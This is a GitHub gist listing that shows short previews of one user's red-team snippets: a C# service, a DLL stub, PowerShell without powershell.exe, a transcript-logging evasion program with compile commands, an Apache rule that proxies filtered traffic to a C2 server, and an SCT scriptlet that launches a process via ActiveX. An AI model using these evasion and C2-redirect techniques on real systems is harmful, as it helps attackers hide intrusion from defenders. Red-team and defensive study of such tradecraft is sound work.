benpturner’s gists

benpturner / SystemService.cs

Created June 14, 2017 09:15

Simple C# Service

	using System;
	using System.Diagnostics;
	using System.ServiceProcess;

	namespace RedTeamingService
	{
	public partial class SystemService : ServiceBase
	{
	public static int pid = 0;

benpturner / Program.cs

Last active November 29, 2023 10:58

Simple C# Service

	using System.ServiceProcess;
	using System.Diagnostics;

	public class MyService : ServiceBase
	{
	public MyService()
	{
	ServiceName = "runner";
	}

benpturner / Dll.cpp

Created June 14, 2017 09:31

Simple DLL

	#include <windows.h>
	#include <stdio.h>

	//////////////////////////////////////////////////////////////////////

	BOOLEAN WINAPI DllMain(
	IN HINSTANCE /hDllHandle/,
	IN DWORD nReason,
	IN LPVOID /Reserved/)
	{

benpturner / JS from VBA

Created July 9, 2017 19:39

JS from VBA

	Sub RunMe()
	'
	' Menu -> Tool -> References -> Microsoft Script Control 1.0 & Enable by Clicking it
	'
	'
	Dim jsObj As New ScriptControl
	Dim Result As Integer

	jsObj.Language = "JScript"
	With jsObj

benpturner / posh.cs

Last active July 18, 2018 18:59

Powershell.exe no more

	using System;
	using System.Text;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;
	using System.Collections.ObjectModel;
	using System.Management.Automation;
	using System.Management.Automation.Runspaces;
	using System.EnterpriseServices;

benpturner / Simple HTTP Server

Created July 29, 2017 10:00

Simple HTTP Server


	$serverport = '$port'

	$httpresponse = '
	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
	<html><head>
	<title>404 Not Found</title>
	</head><body>
	<h1>Not Found</h1>
	<p>The requested URL was not found on this server.</p>

benpturner / Whitelist

Last active August 1, 2017 09:37

Apache Rewrite Whitelist

	# whitelist need to be formatted like so
	# 104.44.44.44 -
	# 104.33.33.33 -

	RewriteMap ips txt:/opt/whitelist.txt
	RewriteCond ${ips:%%{REMOTE_ADDR}\|NOTFOUND} !NOTFOUND
	RewriteCond %%{HTTP_USER_AGENT} "Mozilla\/5\.0 $Windows NT 6\.1; WOW64$ AppleWebKit\/537\.36 $KHTML, like Gecko$" [NC]
	RewriteRule ^/news/(.*) https://yourc2server.com/news/$1 [NC,P]

benpturner / sct

Last active March 28, 2019 00:00

Simple CSript - Implied JScript

	<cOmPoNeNt><sCRipT>
	a=new ActiveXObject("Shell.Application").ShellExecute("calc.exe","","","open","0");
	</sCRipT></cOmPoNeNt>

benpturner / perms.ps1

Last active August 21, 2019 19:30

Powershell Perm Review

Get-ChildItem C:\ -Recurse -ErrorAction SilentlyContinue | ForEach-Object {try {Get-Acl -Path $_.FullName | Select-Object pschildname,pspath,accesstostring} catch{}}|Export-Csv C:\temp\acl.csv -NoTypeInformation

benpturner / posh.cs

Created July 18, 2018 14:04

No Powershell with Transcript Logging Evasion

	using System;
	using System.Collections.ObjectModel;
	using System.Management.Automation;
	using System.Management.Automation.Runspaces;

	namespace TranscriptBypass
	{
	// Compiling with CSC.exe v4.0.30319 or v3.5
	// C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:C:\Temp\posh.exe C:\Temp\posh.cs /reference:System.Management.Automation.dll
	// C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /out:c:\temp\posh.exe C:\temp\posh.cs /reference:System.Management.Automation.dll

Ben Turner benpturner